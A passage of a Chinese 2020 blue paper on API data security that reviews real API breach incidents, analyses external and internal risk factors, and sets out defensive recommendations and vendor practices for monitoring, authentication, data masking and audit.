应用程序界 应用程序接口(API)数据安全蓝皮报告(2020 年) 12 面漏洞。不法分子通过该漏洞窃取了 T-Mobile 用户电子邮箱地址、 设备识别信息、安全问题答案等信息,进而利用非法获取的信息冒 充客户挂失手机 SIM 卡,接管受害者电话服务,并通过该手机号码 绑定的双重认证、账户恢复等功能非法访问或窃取用户账号。约 1500 万 T-Mobile 用户受到影响。 (四)Twitter 虚假账户利用 API 批量匹配用户信息 2019 年 12 月 24 日,Twitter 公司发现大量虚假账户非法调用 提供电话号码搜索用户功能的 API 接口。不法分子可利用这一接口 获取用户信息,进而开展钓鱼攻击、电话诈骗等违法活动。Twitter 于事件曝光后紧急修改该接口功能使相关查询无法返回具体的账户 名称。 (五)考拉征信非法出售 API 导致个人信息泄露 2019 年 11 月,拉卡拉支付旗下的考拉征信因非法缓存公民个人 信息、出售查询 API 遭警方调查。警方表示,经查考拉征信从上游 公司获取接口后又违规将查询接口卖出,并利用查询接口非法缓存 公民姓名、身份证号码和身份证照片等个人身份信息一亿多条,供 下游公司查询牟利,从而造成公民身份信息包括身份证照片的大量 泄露。案件发生后,警方已将考拉征信涉案人员抓获。 (六)新浪微博用户查询接口被恶意调用导致数据泄 露 应用程序接口(API)数据安全蓝皮报告(2020 年) 13 2020 年 3 月 19 日,媒体报道新浪微博因用户查询接口被恶意调 用导致 App 数据泄露。新浪微博方面称此次数据泄露可追溯至 2018 年末,有用户非法调用 App 用户查询接口,通过批量上传手机通讯 录匹配用户账号昵称,并结合其他渠道获取的信息进行出售。事件 曝光后,新浪微博表示将采取升级接口安全策略等措施,做好用户 个人信息保护工作。 (七)微信团队收回小程序"用户实名信息授权"接口 2020 年 3 月 31 日,腾讯微信团队在“微信开放社区”发布《关 于收回小程序"用户实名信息授权"接口的相关说明》,称为进一步 提升用户使用的安全体验,将于 2020 年 5 月 31 日收回小程序“用 户实名信息授权”接口,并停止了该接口的申请和接入。微信方要 求无相关业务场景或需求的小程序停止使用该接口,并向仍有用户 实名认证需求的小程序提供“实名信息校验接口”作为替代方案。 三、安全风险分析 (一)外部威胁因素 从近年API安全态势可以看出,API技术被应用于各种复杂环境, 其背后的数据一方面为企业带来商机与便利,另一方面也为数据安 全保障工作带来巨大压力。特别在开放场景下,API 的应用、部署面 向个人、企业、组织机构等不同用户主体,面临着外部用户群体庞 大、性质复杂、需求不一等诸多挑战,需时刻警惕外部安全威胁。 应用程序接口(API)数据安全蓝皮报告(2020 年) 14 1.API 漏洞导致数据被非法获取 在 API 的开发、部署过程中不可避免产生安全漏洞,这些漏洞 通常存在于通信协议、请求方式、请求参数和响应参数等环节。不 法分子可能利用 API 漏洞(如缺少身份认证、水平越权漏洞、垂直 越权漏洞等)窃取用户信息、企业核心数据。例如在开发过程中使 用非 POST 请求方式、Cookie 传输密码等操作登录接口,存在 API 鉴 权信息暴露风险,可能使得 API 数据被非法调用或导致数据泄露。 2.API 成为外部网络攻击的重要目标 API 是信息系统与外部交互的主要渠道,也是外部网络攻击的主 要对象之一。针对 API 的常见网络攻击包括重放攻击、DDoS 攻击、 注入攻击、会话 cookie 篡改、中间人攻击、内容篡改、参数篡改等。 通过上述攻击,不法分子不仅可以达到消耗系统资源、中断服务的 目的,还可以通过逆向工程,掌握 API 应用、部署情况,并监听未 加密数据传输,窃取企业数据。 3.网络爬虫通过 API 爬取大量数据 网络爬虫能够在短时间内爬取目标应用上的所有数据,常表现 为某时间段内高频率、大批量进行数据访问,具有爬取效率高、获 取数据量大等特点。通过开放 API 对 HTML 进行抓取是网络爬虫最简 单直接的实现方式之一,不法分子通常采用假 UA 头和假 IP 隐藏身 份,一但获取企业内部账户,可能利用网络爬虫获取该账号权限内 的所有数据。如果存在水平越权和垂直越权等漏洞,在缺少有效的 应用程序接口(API)数据安全蓝皮报告(2020 年) 15 权限管理机制情况,不法分子可以通过掌握的参数特征构造请求参 数进行遍历,导致数据被全量泄露。此外,移动应用软件客户端数 据多以 JSON 形式传输,解析更加简单,反爬虫能力更弱,更易受到 网络爬虫威胁。 4.合作第三方非法留存接口数据 企业通过 API 实现与合作第三方之间数据交互的过程中,可能 存在合作方恶意留存接口数据的风险。以个人身份验证类合作为例, 在需要进行实名验证的时候,合作方可通过 API 请求调用相关个人 身份信息。正常情况下,服务器获取请求后在后端进行验证并返回 结果,此过程中恶意合作方可能留存验证结果,经过长时间积累, 非法变相获取大量的个人身份信息资源,对企业数据库形成事实上 的拖库。 5.API 请求参数易被非法篡改 不法分子可通过篡改 API 请求参数,结合其它信息匹配映射关 系,达到窃取数据的目的。以实名身份验证过程为例,用户端上传 身份证照片后,身份识别 API 提取信息并输出姓名和身份证号码, 再传输至公安机关相应 API 进行核验,并输出认证结果。此过程中, 不法分子可通过修改身份识别 API 请求参数中的姓名、身份证号码 组合,通过遍历的方式获取姓名与身份证号码的正确组合。可被篡 改的 API 参数通常有姓名、身份证号码、账号、员工 ID 等。此外, 企业中员工 ID 与职级划分通常有一定关联性,可与员工其它信息形 应用程序接口(API)数据安全蓝皮报告(2020 年) 16 成映射关系,为 API 参数篡改留有可乘之机。 (二)内部脆弱性因素 应对外部威胁的同时,API 也面临许多来自内部的风险挑战。一 方面,传统安全通常是通过部署防火墙、WAF、IPS 等安全产品,将 组织内部与外部相隔离,达到纵深防御的目的,但是这种安全防护 模式建立在威胁均来自于组织外部的假设前提上,无法解决内部隐 患。另一方面,API 类型和数量随着业务发展而扩张,通常在设计初 期未进行整体规划,缺乏统一规范,尚未形成体系化的安全管理机 制。因此,从内部脆弱性来看,影响 API 安全的因素主要包括以下 几方面。 1.身份认证机制 身份认证是保障 API 数据安全第一道防线。一方面,若企业将 未设置身份认证的内网 API 接口或端口开放到公网,可能导致数据 被未授权访问、调用、篡改、下载。不同于门户网站等可以公开披 露的数据,部分未设置身份认证机制的接口背后涉及企业核心数据, 暴露与公开易引发严重安全事件。另一方面,身份认证机制可能存 在单因素认证、无口令强度要求、密码明文传输等安全隐患。在单 因素身份验证的前提下,如果口令强度不足,身份认证机制将面临 暴力破解、撞库、钓鱼、社会工程学攻击等威胁。如果未对口令进 行加密,不法分子则可能通过中间人攻击获取接口认证信息。 应用程序接口(API)数据安全蓝皮报告(2020 年) 17 2.访问授权机制 访问授权机制是保障 API 数据安全的第二道防线。用户通过身 份认证即可进入访问授权环节,此环节决定用户是否有权调用该接 口进行数据访问。系统在识别用户之后,会根据权限控制表或权限 控制矩阵判断该用户的数据操作权限。常见的访问权限控制策略有 三种,基于角色的授权(Role-Based Access Control)、基于属性 的授权(Attribute-Based Access Control)以及基于访问控制表 授权(Access Control List)。访问授权机制风险通常表现为用户 权限大于其实际所需权限,从而该用户可以接触到本无权访问的数 据。导致这一风险的常见因素包括授权策略选择不恰当、授权有效 期过长、未及时收回权限等。 3.数据脱敏策略 除了为不同的业务需求方提供数据传输以外,为前端界面展示 提供数据支持也是 API 的重要功能之一。API 数据脱敏策略通常可分 为前端脱敏和后端脱敏。前者指数据被 API 传输至前端后再进行脱 敏处理;后者则相反,API 在后端完成脱敏处理,再将已脱敏数据传 输至前端。如果未在后端对个人敏感信息等数据进行脱敏处理,且 未加密传输,一旦流量被截获、破解,将对企业、公民个人权益造 成严重影响。此外,未脱敏数据在传输至前端时,如被接收方终端 缓存,也可能导致敏感数据暴露。而脱敏策略不统一可能导致相同 数据脱敏部分不同,不法分子可通过拼接方式获取原始数据,造成 应用程序接口(API)数据安全蓝皮报告(2020 年) 18 脱敏失效。 4.返回数据筛选机制 如果 API 缺乏有效的返回数据筛选机制,可能由于返回数据类 型过多、数据量过大等因素形成安全隐患。首先,部分 API 设计初 期未根据业务进行合理细分,未建立单一、定制化接口,使得接口 臃肿、数据暴露面过大。其次,在安全规范欠缺和安全需求不明确 的情况下,API 开发人员可能以提升速度为目的,在设计过程中忽视 后端服务器返回数据的筛选策略,导致查询接口会返回符合条件的 多个数据类型,大量数据通过接口传输至前端并进行缓存。如果仅 依赖于前端进行数据筛选,不法分子可能通过调取前端缓存获取大 量未经筛选的数据。 5.异常行为监测 异常访问行为通常指非工作时间访问、访问频次超出需要、大 量敏感信息数据下载等非正常访问行为。即使建立了身份认证、访 问授权、敏感数据保护等机制,有时仍无法避免拥有权限的用户进 行数据非法查询、修改、下载等操作,此类访问行为往往未超出账 号权限,易被管理者忽视。异常访问行为通常与可接触敏感数据岗 位或者高权限岗位密切相关。如负责管理客户信息的员工可能通过 接口获取用户隐私信息出售谋利;即将离职的高层管理人员可能将 大量公司机密和敏感信息带到下一家公司,以在商业竞争中占据优 势等。美国执法机构和网络安全监管机构调查结果显示超过 85%的安 应用程序接口(API)数据安全蓝皮报告(2020 年) 19 全威胁来自企业内部,企业必须高度重视可能由内部人员引发的数 据安全威胁。 6.特权账号管理 从数据使用的角度来说,特权账号指系统内具有敏感数据读写 权限等高级权限的账号,涉及操作系统、应用软件、企业自研系统、 网络设备、安全系统、日常运维等诸多方面,常见的特权账号有 admin、 root、export 账号等。除企业内部运维管理人员外,外包的第三方 管理人员、临时获得权限的设备原厂工程人员等也可能使用特权账 号。多数特权账号可通过 API 进行访问,有心者可能以特权账号非 法查看、篡改、下载企业数据。此外,部分企业出于提升开发运维 速度的考虑会在团队内共享账号,并允许不同的开发运维人员从各 自终端登陆并操作,一旦发生数据安全事件,难以快速定位责任主 体。 7.第三方管理 当前,需要共享业务数据的应用场景日益扩展,第三方调用 API 访问企业数据完成业务工作的同时,也成为了企业的安全短板。尤 其对于涉及个人敏感信息或重要数据的 API,如果企业忽视对第三方 进行风险评估和有效管理、缺少对其数据安全防护能力的审核,一 旦第三方存在安全隐患或不法企图,可能发生数据被篡改、泄露、 甚至非法贩卖等安全事件,对企业数据安全、社会形象乃至经济利 益造成影响。 应用程序接口(API)数据安全蓝皮报告(2020 年) 20 四、安全建议 API 安全是当今时代数据安全保护的重要一环。企业应在把握自 身现状的基础上梳理 API 相关安全风险,建立健全 API 安全管理制 度,针对事前、事中和事后各阶段管理和技术需求差异,部署相应 安全措施,加强数据安全风险防范。 (一)事前 1.统一 API 设计开发规范,减少安全隐患 缺乏统一规范、开发维护不当导致的安全漏洞等脆弱性因素可 能为 API 带来严重安全隐患。建议企业建立健全 API 设计、开发、 测试等环节标准规范和管理制度,引导 API 开发运维流程标准化, 提高对 API 安全的重视程度,将相关要求以制度规程等形式进行沉 淀、落实,避免遗留严重安全漏洞、恶性 bug 等脆弱性因素,威胁 接口安全。 2.强化 API 上线、变更、下线环节实时监控,确保全生 命周期安全 API 全生命周期包括 API 上线、变更和下线三个环节。企业应对 自身 API 部署情况进行全面排查,梳理统计 API 类型、活跃接口数 量、失活接口数量等资产现状,针对 API 上线、运行中变更、失活 后下线等环节进行实时监控。企业应在新 API 上线前进行风险评估, 发现问题暂停上线并及时调整,确保上线 API 安全性;上线后应对 应用程序接口(API)数据安全蓝皮报告(2020 年) 21 其运行情况进行实时监控,发现接口运行异常、恶意调用等情况及 时采取防护措施,修复相应问题;若 API 不再使用,企业应遵循下 线流程及时进行处理,防止失活 API 持续在线,成为安全隐患。 3.完善 API 身份认证和授权管理机制,强化接口接入安 全审核 企业应针对除信息公开披露场景以外的 API 建立有效的身份认 证机制,对现有身份认证机制密码强度、双因素认证、密码更新等 安全要素进行评估,健全身份认证机制;在建立有效的身份认证基 础上,建立健全访问授权机制,严格遵循最小必要权限原则,尤其 针对提供数据增、删、改等高危操作的 API,严格规范用户权限管理; 对涉及敏感信息、重要数据的 API 加强接入方资质和数据安全防护 能力审核,规范合作要求,避免因接入方原因导致数据安全事件。 4.健全 API 安全防护体系,提升抵御外部威胁能力 企业应加强 API 安全防护能力建设,针对重要接口部署专门的 防护设备保障其安全,建立健全安全防护体系。具体措施包括但不 限于部署 API 网关统一接口管理;利用 VPN 等加密通道传输数据; 部署应用防护系统保护 Web 应用;建立 API 访问白名单机制;部署 抗 DDoS 工具等。从而提升企业 API 抵御外部威胁的能力,降低数据 安全事件发生几率。 应用程序接口(API)数据安全蓝皮报告(2020 年) 22 5.加大 API 安全保护宣传力度,提高员工安全意识 企业应加大对 API 安全保护的宣传力度,缩小各部门之间对 API 安全重视程度差异,提高员工特别是 API 开发运维人员的安全意识, 进一步提高企业整体数据安全认识。推动 API 保护相关机制、技术 手段落地,避免因 API 安全管理疏漏等内部因素导致数据泄露、丢 失、损毁等安全事件,对企业业务发展、社会形象造成负面影响。 (二)事中 1.加强 API 身份认证实时监控能力建设 企业应加强 API 身份认证实时监控能力建设,重点监控高频登 录尝试、空 Referer、非浏览器 UA 头登录等具有典型机器行为特征 的操作,对异常登录、调用行为进行分析,发现恶意行为及时告警。 此外,企业应实时监控接口运行中的单因素认证、弱密码、密码明 文传输等脆弱性问题,建立账号登录行为画像,形成用户常规登录 特征基线,对不同 IP 登录、连续认证失败、境外 IP 访问等敏感操 作进行监测分析,发现账号共享、借用、兼任等违规行为及时对相 关账号操作进行限制、阻断,避免安全事件的发生或扩大。 2.加强异常行为实时监测预警能力建设 企业应加强异常访问行为监测能力建设,针对短时间内大量获 取敏感数据、访问频次异常、非工作时间获取敏感数据、敏感数据 外发等异常调用、异常访问行为进行实时监测分析,根据自身业务 应用程序接口(API)数据安全蓝皮报告(2020 年) 23 情况建立正常行为基线,防范内部违规获取数据、外部攻击或网络 爬虫等数据安全风险。此外,由于内部特权账号权限远超普通用户 账户,企业应针对此类账号建立实时行为监测和审计机制,对账号 异常、高危操作进行严格管控,建立精准、细化的特权账号行为基 线,及时对特权账号异常行为进行预警,并定期进行特权帐号安全 审计。 3.加强数据分类分级管控能力建设 企业应梳理 API 数据类型,落实数据分类分级管控措施,针对 API 涉及的敏感数据按照统一策略进行后端脱敏处理,并结合数据加 密、传输通道加密等方式保护 API 数据传输安全。企业应严格落实 敏感数据保护策略,部署敏感数据监测工具,及时发现未脱敏展示、 前台脱敏等现象,并对接口流量进行分析,杜绝敏感数据明文传输 等违规行为。企业应评估涉及敏感数据的 API 参数设置情况,重点 关注接口单次返回数据量过多、返回数据类型过多等情况,建立后 端数据量、数据类型筛查机制,确保敏感数据暴露可知、可控、可 追溯。 4.加强 API 数据流向监控能力建设 企业应建立 API 数据流量监测机制,实时监控数据流向,加强 数据流向监控能力建设。通过分析访问和被访问 IP 的局域、地域或 法域,实现对数据流向的实时监控,防范数据接收方非法出售或滥 用个人信息风险,发现相关违法违规事件及时阻断 API 接入,为后 应用程序接口(API)数据安全蓝皮报告(2020 年) 24 续溯源调查积极存证。此外,企业应对境外 IP 访问内网 API 或者内 部 IP 访问境外 API 的情况重点关注、及时预警,确保敏感数据出境 活动合法合规。 (三)事后 1.建立健全应急响应机制 当前 API 应用广泛,业务逻辑复杂,涉及数据量大,一旦发生 安全事件,可能给企业、用户带来严重影响。企业应严格落实《网 络安全法》《电信和互联网用户个人信息保护规定》(工信部第 24 号令)等法律法规要求,出现数据泄露等严重安全事件及时告知相 关用户并上报电信主管部门,制定 API 安全事件应急响应预案并纳 入企业现有应急管理体系,应急流程包括但不限于监测预警及报告、 数据泄露事件处置、危机处理及信息披露等环节。 2.建立健全日志审计机制 API 数据安全审计可以帮助企业有效识别具体的高危访问行为, 为企业 API 安全提供有力帮助。建议企业对接口访问、数据调用等 操作进行完整日志记录,并定期开展安全审计,对 API 安全进行回 顾,结合旁路 API 流量捕获等技术手段,对传输协议等安全要点进 行分析还原,识别 API 漏洞、异常调用、外部攻击等安全风险。同 时,建议企业根据安全审计结果编制审计报告,跟踪审计意见的后 续落实,并依据相关监管要求妥善保存日志信息等,为安全事件追 应用程序接口(API)数据安全蓝皮报告(2020 年) 25 溯提供依据。 3.建立健全数据泄露溯源追责机制 企业应建立健全数据泄露溯源追责机制,制定 API 相关安全事 件溯源方案,发生安全事件后及时追踪数据泄露途径、类型、规模、 原因,分析根本原因,提取有效证据。结合审计机制进行事件溯源, 在确定责任主体后,严肃问责。API 数据泄露溯源机制可分为线索溯 源和主体溯源,线索溯源以泄露数据内容为线索,在系统中进行回 溯,提取 API 日志中的相关记录进行分析,确实责任人和泄露路径; 主体溯源根据账号、接口信息等访问特征线索在日志流量信息中进 行筛选,分析匹配特征,追溯事件源头。由于传统人工溯源费时费 力,溯源结果准确度有限,建议企业结合自身需求部署自动化溯源 工具,提升溯源效率,为企业 API 安全管理提供助力。 应用程序接口(API)数据安全蓝皮报告(2020 年) 26 五、附录 (一)全知科技 API 安全实践 1.开放 API 安全实践 (1)场景简介 开放 API 将接口开放到公网,为不同用户、产品提供数据操作、 传输渠道。开放 API 可分为两类,一类通过网页交互即可调用后端 API 进行数据查询,例如企业门户网站;一类仅对注册用户开放,需 用户主动注册后才可调用,例如政务开放平台数据调用接口。此类 API 主要具有两大特点。一是接口对社会公众开放。只要获知 URL 链 接,任何人都可以对 API 进行访问,而调用 API 接口即代表着调用 API 背后不同的业务功能,获取不同的服务数据。二是 API 参数由数 据提供方进行定义。全面开放的 API 通常无法满足所有用户的访问 需求,为了业务的正常开展,通常需进行标准化的接口定制。 (2)安全方案 企业应全面梳理其开放 API 现状,了解开放 API 数量、性质、 活跃程度,确保没有内网接口开放到外网的情况,并关注活跃 API 数据调用情况是否存在异常,及时下线失活 API。 在此基础上,企业可采用多种技术手段保护 API 安全,降低安 全风险。一是对 API 进行生命周期监控,二是健全账号认证机制和 授权机制,三是实时监控 API 账号登录异常情况,四是执行敏感数 应用程序接口(API)数据安全蓝皮报告(2020 年) 27 据保护策略,五是建立接口防爬虫防泄漏保护机制。 来源:全知科技(杭州)有限责任公司 API 生命周期监控:企业需实时监控新 API 上线、API 在运行过 程中变更,API 失活后正确下线情况,并在新 API 上线前对其进行风 险评估,对通信协议、路径、请求方式、请求参数、响应参数等要 素中的潜在安全漏洞进行排查,发现可能被攻击导致数据泄露的安 全漏洞,应及进行调整,确保上线前的安全性和可靠性。API 上线后, 企业则需实时监控其运行状态,发现风险应及时修正后再重新上线。 若 API 由于业务更迭等情况不再使用,企业应按照正确流程对其进 行下线。 健全认证授权机制:首先,企业需排查缺少身份认证的高危开 放 API,并对其建立身份认证机制。其次,企业应采取强密码、双因 素认证等方式增强身份认证机制。此外,在身份认证的基础上,企 业应建立健全授权机制,对用户账号授予所需最小权限,尤其注意 应用程序接口(API)数据安全蓝皮报告(2020 年) 28 增、删、改等高危操作,如无必要,不授予系统管理员 admin 或 export 等高级权限。建立健全认证授权机制一方面可以确保数据调用方为 真实用户而非网络爬虫,另一方面可以保证用户访问记录可追溯。 登录异常行为监控:企业应建立 API 异常登陆实时监控机制, 监测账号异常登陆情况并及时预警。账号异常登录情况可能由账号 暴力破解、撞库、单因素认证等登录系统脆弱性导致。登陆异常情 况监控机制可对接口登陆方式、IP 登陆失败频率、失败原因等进行 分析,发现异常情况及时预警。 敏感数据保护策略:企业应对开放 API 涉及的敏感数据进行梳 理,在分类分级后按照相应策略进行脱敏展示,所有敏感数据脱敏 均在后端完成,杜绝前端脱敏。此外敏感数据需通过加密通道进行 传输,防止传输过程中的数据泄露。以金融类系统为例,客户端应 用软件、银行卡受理设备、自助终端设备等界面展示的个人金融信 息需进行脱敏处理,确保登陆系统前不展示敏感信息。在此基础上, 企业应部署敏感数据监测工具,实时监测前端界面是否存在敏感数 据明文显示,以及通过流量分析检测是否存在敏感数据明文传输, 验证是否有效执行敏感数据保护策略。 部署防爬虫、防泄漏保护机制:企业应部署接口防爬虫、防泄 漏保护机制,分析用户访问行为特征,辨别该访问是真实用户行为 还是机器行为,并根据网络爬虫特征制定监控策略,部署工具进行 实时监控预警,发现潜在数据泄露事件及时触发熔断机制,阻断网 络爬虫行为对 API 数据安全的威胁。 应用程序接口(API)数据安全蓝皮报告(2020 年) 29 2.面向合作方 API 安全实践 (1)场景简介 商业生态系统的建立涉及企业与顾客、市场媒介、供应商等各 方的合作互动,面向合作方 API 被广泛用于合作方之间的数据交互 共享。此类 API 主要具有 3 大特点。一是数据交换类型多。通过此 类 API 进行数据交换的多为企业合作伙伴,包括但不限于资源供应 商和服务提供商。二是数据交换参与方数量少。开放 API 用户一般 以个人居多,组织较少,而面向合作方的 API 调用则以组织居多, 个人较少。三是接口定义需双方协商。此类 API 需在满足业务要求 的前提下根据双方要求进行自定义,往往需预留等多种接口以满足 业务需求。 (2)安全方案 企业应建立完善的供应商接口管理制度,包括准入制度、授权 管理制度和退出制度等,约束企业与合作方间的合作,从源头上对 合作方 API 进行把控,预防数据安全风险。在合作结束后,企业应 及时下线相关接口,并按照合作协议要求,进行数据留存审计,确 保合作方完成数据删除和销毁。 此外,企业还可通过部署相关技术手段保护面向合作方的 API 安全。一是部署敏感数据保护策略,二是建立账号异常行为监测机 制,三是部署自动化审计与溯源工具。 应用程序接口(API)数据安全蓝皮报告(2020 年) 30 来源:全知科技(杭州)有限责任公司 敏感数据保护策略:企业应对数据交换过程中涉及的敏感数据 制定保护策略,并通过脱敏、匿名化、去标识化、数据加密、传输 通道加密等方式对敏感数据加以保护。同时,组织机构还可以选择 VPN 传输、专线传输等安全性更高的安全防护手段,保护 API 接口数 据安全。 账号异常行为监测:企业应建立账号异常行为风险监测机制, 根据业务实际情况制定监控策略,实时监控合作方账号操作行为, 一旦监测发现存在越权操作、非工作时间访问、非工作时间大量获 取数据等情况,及时预警,降低数据安全事件风险。 自动化审计与溯源:企业与合作方之间通过 API 进行数据分享 频繁,流动数据量大。一方面企业应通过系统日志准确记录和保存 接口数据共享的情况,定期审计,及时发现数据交换中存在的风险。 另一方面企业应部署自动化审计和溯源工具,对安全事件快速溯源、 精准定位,防止数据泄露,保护企业数据安全。 应用程序接口(API)数据安全蓝皮报告(2020 年) 31 3.内部 API 安全实践 (1)场景简介 除了开放到公网、面向合作方的 API 之外,企业内部的应用系 统通常也会通过内部 API 进行数据访问。此类 API 主要有 3 大特点。 一是众多应用系统衍生大量接口。企业内部存在众多应用系统,根 据业务功能的划分和用户群体的不同可能会衍生出诸多内部 API 接 口。二是接口调用群体庞杂。企业内部员工因所处的部门和层级不 同,存在不同业务需求和权限,造成 API 调用群体庞杂,为安全管 理带来一定挑战。三是接口参数由企业根据自身需求进行定义。企 业内部可能存在多种 API,需要根据内部人员对于业务功能的需求分 别进行定义。 (2)安全方案 与开放 API 接口一样,企业应梳理内部 API 现状,围绕内部 API 生命周期建立有效管理机制。内部 API 接口可能随内部业务频繁迭 代,企业也会引入新的系统或设备到内部网络,此时需额外关注内 部 API 的安全要求。此外,企业还应部署或强化相应技术手段对内 部 API 接口进行保护。一是 API 生命周期实时监控,二是加强身份 验证机制,三是建立敏感信息展示监测预警机制,四是建立账号风 险监测机制,五是数据行为威胁实时监控,六是敏感数据大量暴露 监测,七是特权账号行为实时监测和审计机制,八是自动化数据泄 露溯源追责。 应用程序接口(API)数据安全蓝皮报告(2020 年) 32 来源:全知科技(杭州)有限责任公司 API 生命周期实时监控:企业应在掌握内部接口现状的基础上, 在新 API 上线前进行安全评估,严格内部 API 接口变更管理,对失 活接口及时处理。接口现状发生改变应及时发布预警,并及时响应 和处理。 身份验证机制:身份认证是企业数据安全的第一道防线,企业 应从安全需求、成本和系统兼容性等方面进行综合考虑,选择如双 因素认证、强密码口令、生物识别信息等认证措施,完善内部 API 身份验证机制。 敏感信息展示监测预警机制:企业应在确保脱敏策略一致的基 础上,建立敏感信息明文展示监测预警机制,对内部 API 调用流量 进行实时监控,一旦监测到明文传输敏感信息、或者明文展示敏感 应用程序接口(API)数据安全蓝皮报告(2020 年) 33 信息的时候,及时进行预警。 账号风险监测机制:企业应建立账号风险监测机制。一方面, 监测是否存在单因素认证、弱密码、密码明文传输等脆弱性;另一 方面,建立账号登陆行为画像,总结用户常规登陆模式,发现账号 共享、借用、兼任等情况及时预警,并进一步排查。此外,账号风 险监测机制还可侦测境外 IP 访问内部 API 接口的情况,减少企业数 据出境的安全风险。 数据行为威胁实时监控:内部 API 可能存在水平越权、垂直越 权、账号滥用等风险,因此,企业应根据自身情况建立正常行为基 线,对短时间内大量获取敏感数据、访问频次异常、非工作时间访 问、敏感数据外发等异常行为进行监测,并防范网络爬虫等大量机 器拉取内部数据。 敏感数据大量暴露监测:企业应监测 API 接口单次返回敏感数 据量、敏感数据类型等情况,发现异常及时对接口进行改进。 特权账号行为监测和审计:企业应建立并严格执行特权账号行 为监测和审计机制,精确、细化特权账号行为基线。 自动化数据泄露溯源追责:通过线索溯源或者主体溯源模式进 行溯源追责,明确数据泄露途径、数据泄露类型、数据泄露规模和 数据泄露原因,并对源头责任人和可疑犯罪人进行锁定,及时缩小 犯罪嫌疑人范围,减少因数据泄露给企业、个人和社会造成的负面 影响。 应用程序接口(API)数据安全蓝皮报告(2020 年) 34 (二)观安 API 安全实践 1.安全方案 观安 API 数据安全检测方案通过对数据接口、虚拟网络边界接 口进行实时监控和分析,实现应用系统之间数据访问、传输、流转 及敏感数据检测,利用大数据分析技术构建数据接口活动轨迹、访 问操作画像,智能化判断业务系统、企业内外部数据接口之间的数 据流量异常、数据访问操作异常、数据接口调用异常等安全风险, 及时对数据接口异常事件进行预警,为应用系统业务数据安全流转、 调用、传输等操作访问行为提供数据安全保障。 来源:上海观安信息技术股份有限公司 一是梳理接口敏感级别,制定分级策略。梳理并发现应用系统 中涉及敏感数据流转的接口以及敏感数据暴露面,根据敏感数据类 型对应用系统接口进行敏感等级划分,针对不同敏感级别的接口制 定差异化访问控制策略。 二是建立深度分析系统,实现多维度风险评估。建立深度分析 系统,对数据接口异常流量、用户异常操作行为、异常调用等进行 实时监控、异常预警和集中的风险展示。对敏感数据访问接口进行 应用程序接口(API)数据安全蓝皮报告(2020 年) 35 多维度的脆弱性评估及风险识别,包括但不限于数据账号风险、数 据权限风险、数据操作风险、数据流向风险、数据暴露面风险、数 据脱敏风险等。 三是描绘行为轨迹,实现流动监控。基于流量数据识别应用系 统中的接口和用户账号信息,还原并记录用户的数据访问行为;对 业务系统账号信息的数据访问行为进行审计,从用户账户、接口、 数据访问和返回情况,完整描绘数据在应用系统中流转的地图,实 现对数据流动细节的监控。 2.技术手段 协议解析:通过获取网络中系统的数据包,并将其进行协议解 析,生成基础数据,识别的协议包括但不限于当前主流的系统访问 及接口协议。通过抓取的流量数据可对数据流动使用过程进行审计 操作,保证 API 内的数据流转安全性。 来源:上海观安信息技术股份有限公司 数据分类分级:分类分级定位到的数据标签信息、位置信息可 应用程序接口(API)数据安全蓝皮报告(2020 年) 36 以赋能到安全风险识别,结合流量数据准确实时的输出安全风险告 警,保障数据生命周期内的流动安全。同时分类分级可为 API 敏感 级别划分提供支撑,依据分类分级清单实现数据价值划分,为数据 差异化管控提供依据。 敏感数据识别:根据敏感级别划分,动态制定敏感数据识别规 则,通过规则分析自动识别未脱敏数据。 API 全盘发现:识别并建立 API 清单,对 API 进行可视化展现, 发现 API 漏洞。  通过手动定义或 API 文件,建立 API 清单;  通过日志或流量分析,发现 API 清单未覆盖的请求;  对 API 活动做可视化展现;  结合威胁情报库,发现有漏洞的 API 应用服务器。 来源:上海观安信息技术股份有限公司 API 可视化管控:登记汇总各系统中注册,添加、登记的接口服 务,实现对系统接口的汇总管理和可视化展示。 API 安全检测:API 安全检测是系统交互的屏障和保护伞,在接 应用程序接口(API)数据安全蓝皮报告(2020 年) 37 口具体的使用过程中,通过提前预设告警规则、防御规则,记录非 法操作、异常攻击等行为,匹配规则,实现防御阻断、告警,提高 单个系统接口服务的有效性及保证整个生态系统的安全性、稳定性, 为企业提供多重保障。 流量数据:通过协议解析,获取多系统接口行为记录,包括访 问的接口、访问的 URL、源/目的 IP、源/目的端口、访问时间及流 量等数据,为访问行为的安全审计、数据挖掘提供数据源。 审计告警:根据业务系统特点,对通过接口交互的敏感信息或 关键字进行识别、告警设置,生成审计规则,对匹配规则的敏感信 息进行相应操作,如区分日志类型(原始日志、重要日志、告警日 志)、进行有效报警(邮件、短信)等,为系统接口交互行为审计 提供及时预警及处理时间。 来源:上海观安信息技术股份有限公司 异常数据流动行为检测:从应用系统流量中提取用户访问行为 的原始数据,计算相关的基础指标,构建数据模型进行机器学习和大 数据分析,对数据访问建立行为基线,利用异常检测技术,从多个 维度来识别异常数据访问行为,从而实现异常数据访问行为和数据 泄露行为的感知和预警。 应用程序接口(API)数据安全蓝皮报告(2020 年) 38 回溯取证:对接口业务行为进行完整的记录,并支持接口访问 行为和事件回放取证。记录包括访问时间、访问者、访问凭据、访 问请求参数、返回数据等。 API 数据安全态势分析:通过海量接口行为数据,运用 Hadoop 大数据支撑平台,快速大批量接口行为分析,辅助安全管理员提前 预警阻断。 来源:上海观安信息技术股份有限公司 数据挖掘:对接口生命周期及接口的商业行为进行高效的梳理 和分析,通过采用分类模型、预测模型、关联模型、聚类模型、异 常值分析、协同过滤、文本挖掘等算法模型,为企业提供更优质的 商业价值。 3.实践应用 (1)背景 应用程序接口(API)数据安全蓝皮报告(2020 年) 39 某运营商安全行为管控主要依赖传统的业务系统日志、4A 访问 日志,数据来源单一,分析手段相互独立缺乏联动,缺少多维度分 析;对接口调用异常、业务行为中敏感数据自识别监控、数据操作 异常事件等新型事件,依赖现有传统审计方法无法有效识别和监测。 (2)应用 分析模块:分析业务流程包括数据采集、数据预处理、数据存 储、分析引擎、结果输出等步骤。 风险场景模型:分析平台和业务场景的深度耦合,对系统业务 风险点进行监测、控制,业务分析平台采用 2 套分析模型(机器行 为模型、风险评分卡模型)对 4 大业务场景(接口风险告警、主机 绕行告警、前台未授权查询信息、敏感数据操作监测)进行业务分 析。 接口异常行为监测:基于流量探针对流量数据进行采集,根据 接口小时段内容的接口类型、调用对象、访问时间间隔等数据维度 构建特征工程,通过机器学习分类算法如随机森林,建立异常识别 模型,从而通过模型识别出异常行为。 接口内容敏感识别:数据接口种类繁多,如何正确高效、识别 敏感数据接口并进行行为分析,俨然成为工作难题。本次实践应用 中通过流量探针,在下行流量数据中依赖命名实体识别、规则识别 